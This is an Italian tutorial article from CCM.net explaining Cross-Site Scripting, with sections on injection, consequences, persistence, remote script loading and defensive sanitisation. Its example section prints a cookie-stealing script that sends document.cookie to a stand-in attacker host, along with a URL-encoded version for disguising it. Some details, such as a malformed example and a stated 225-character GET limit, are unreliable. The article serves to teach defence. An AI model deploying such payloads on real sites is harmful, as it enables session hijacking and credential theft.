XSS - Cross-Site Scripting

Gli attacchi di tipo Cross-Site Scripting (denominato talvolta XSS o CSS) sono attacchi contro i siti web che visualizzano in modo dinamico il contenuto utente senza effettuare un controllo et una decodificazione delle informazioni inserite dagli utenti. Gli attacchi Cross-Site Scripting consistono quindi nel forzare un sito web a visualizzare il codice HTML o gli script inseriti dagli utenti. Il codice cosi incluso (si utilizza solitamente il termine «iniettato») in un sito web vulnerabile è detto «maligno».

Iniezione di codice maligno

È frequente che i siti visualizzino dei messaggi informativi riprendendo direttamente un parametro inserito dall'utente. L'esempio più classico è quello delle «pagine d'errore 404». Alcuni siti web modificano il comportamento del sito web, per poter visualizzare un messaggio d'errore personalizzato nel momento in cui la pagina richiesta dal visitatore non esiste. Talvolta la pagina generata in maniera dinamica visualizza il nome della pagina richiesta.

Chiamiamo http://sito.vulnerabile un sito che possieda una falla di questo tipo. Il nome dell'URL http://sito.vulnerabile/pagina-inesistente corrispondente ad una pagina inesistente non provocherà la visualizzazione di un messaggio d'errore che indichi che la pagina «pagina-inesistente» non esiste. È quindi possibile far visualizzare quello che si desidera al sito web sostituendo «pagina-inesistente» con un'altra stringa di caratteri.

A questo punto, se non è stato effettuato nessun controllo sul contenuto fornito dall'utente, è possibile visualizzare il codice HTML arbitrario su una pagina web, per cambiarne l'aspetto, il contenuto oppure il comportamento. Inoltre, la maggior parte dei browser sono capaci di interpretare degli script contenuti nelle pagine web, scritti in diversi linguaggi, come JavaScript, VBScript, Java, ActiveX o Flash. La segnalazione HTML seguente permettono di incorporare degli script di esecuzione in una pagina web: <SCRIPT>, <OBJECT>, <APPLET> e <EMBED>.

È così possibile per un pirata iniettare un codice arbitrario nella pagina web, per far si che quest'ultimo venga messo in esecuzione sul terminale dell'utente in un contesto di sicurezza del sito vulnerabile. Per far questo, è sufficiente sostituire il valore del testo destinato ad essere visualizzato da uno script, per visualizzarlo nella pagina web. Per quanto il browser dell'utente sia configurato per eseguire questi script, il codice maligno ha accesso all'insieme dei dati condivisi dalla pagina web dell'utente e dal server (cookie, moduli, ecc.).

Conseguenze

Grazie alle vulnerabilità Cross-Site Scripting, un pirata può recuperare i dati scambiati tra l'utente e il sito web interessato. Il codice inserito nella pagina web può servire anche a visualizzare un modulo per ingannare l'utente e fargli inserire ad esempio delle informazioni di autenticazione. D'altra parte, lo script inserito può permettere di reindirizzare l'utente verso una pagina sotto il controllo del pirata, che possieda eventualmente la stessa interfaccia grafica del sito compromesso per ingannare l'utente. In un contesto simile, la fiducia esistente tra l'utente e il sito web è completamente compromessa.

Persistenza/efficacia dell'attacco

Quando i dati inseriti dall'utente sono immagazzinati sul server per un certo lasso di tempo (ad esempio nel caso di un forum di discussione), l'attacco è detto «persistente». In effetti, tutti gli utenti del sito web hanno accesso alla pagina nella quale il codice maligno è stato introdotto. Gli attacchi detti «non persistenti» riguardano le pagine web dinamiche nelle quali una variabile inserita dall'utente viene visualizzata tale e quale (ad esempio la visualizzazione del nome dell'utente, della pagina in corso o della parola inserita nel campo di un modulo).

Per poter sfruttare questa vulnerabilità, l'attaccante deve fornire alla vittima un URL modificato, passando il codice da inserire nel parametro. Inoltre, un URL che contiene degli elementi di codice Javascript potrà apparire sospetto alla vittima, ed è la ragione per la quale questo attacco è realizzato maggiormente codificandone i dati nell'URL, in modo che quest'ultimo nasconda all'utente il codice iniettato.

Esempio

Supponiamo che la home page di CCM.net sia vulnerabile ad un attacco di tipo Cross-Site Scripting dato che permette di visualizzare nella home page un messaggio di benvenuto con il nome dell'utente in parametro:

https://it.ccm.net/?nome=Jeff

.

Un malintenzionato può realizzare un attacco Cross-Site Scripting non persistente fornendo ad una vittima un indirizzo che sostituisca il nome «Jeff» con il codice HTML. Può soprattutto passare in parametro il codice Javascript seguente, che serve a reindirizzare l'utente verso una pagina di cui ha la il controllo:

<SCRIPT>
document.location='http://site.pirate/cgi-bin/script.cgi?'+document.cookie
</SCRIPT>

Il codice qui sopra recupera i cookie dell'utente e li trasmette in parametro ad uno script CGI. Un codice simile passato in parametro sarebbe troppo visibile:

https://it.ccm.net/?nome=<SCRIPT=>document_location=
='http://site.pirate/cgi-bin/script.cgi?'+document.cookie</SCRIPT>

Invece, la codifica dell'URL permette di mascherare l'attacco:

http://it.ccm.net/?nom=%3c%53%43%52%49%50%54%3e%64%6f%63%75%6d%65%
6e%74%2e%6c%6f%63%61%74%69%6f%6e%3d%5c%27%68%74%74%70%3a%2f%2f%73%69%74%
65%2e%70%69%72%61%74%65%2f%63%67%69%2d%62%69%6e%2f%73%63%72%69%70%74%2e%
63%67%69%3f%5c%27%20%64%6f%63%75%6d%65%6e%74%2e%63%6f%6f%6b%69%65%3c%2f%
53%43%52%49%50%54%3e

Attacco incrociato

Nell'esempio precedente, l'insieme degli script passato in parametro nell'URL. Il metodo GET, che permette di passare i parametri nell'URL è limitato ad una lunghezza totale di 225 caratteri per l'URL. Grazie all'attributo SRC del tag <SCRIPT>, è possibile eseguire il codice maligno immagazzinato in uno script su un server remoto! Nella misura in cui è possibile inserire il codice partendo da una sorgente remota, questo attacco viene detto «Cross-Site» («Cross-Site» significa letteralmente «tra siti»).

Protezione

Da parte dell'utente, è possibile premunirsi contro gli attacchi XSS configurando il browser in modo da impedire l'esecuzione dei linguaggi di script. In realtà questa soluzione è spesso troppo costrittiva per l'utente dato che numerosi siti rifiutano di funzionare correttamente in assenza della possibilità di eseguire dei codici dinamici. L'unico modo possibile per impedire gli attacchi Cross-Site Scripting consiste nel concepire dei siti web non vulnerabili. Per questo, il webmaster di un sito web deve:

Verificare il formato dei dati inseriti dagli utenti;

Decodificare i dati utenti visualizzati sostituendo i caratteri speciali con i loro equivalenti HTML.

Il termine «bonifica» (in inglese «sanitation») designa tutte le azioni che permettono di rendere sicuro un dato inserito da un utente.

Ulteriori informazioni

CERT® Advisory CA-2000-02 Malicious HTML Tags Embedded in Client Web Requests;

CERT® - Understanding Malicious Content Mitigation for Web Developers.

Foto: © Pixabay.

I nostri contenuti sono creati in collaborazione con esperti di high-tech, sotto la direzione di Jean-François Pillou, fondatore di CCM.net. CCM è un sito di high-tech leader a livello internazionale ed è disponibile in 11 lingue.
Il documento intitolato « XSS - Cross-Site Scripting » dal sito CCM (it.ccm.net) è reso disponibile sotto i termini della licenza Creative Commons. È possibile copiare, modificare delle copie di questa pagina, nelle condizioni previste dalla licenza, finché questa nota appaia chiaramente.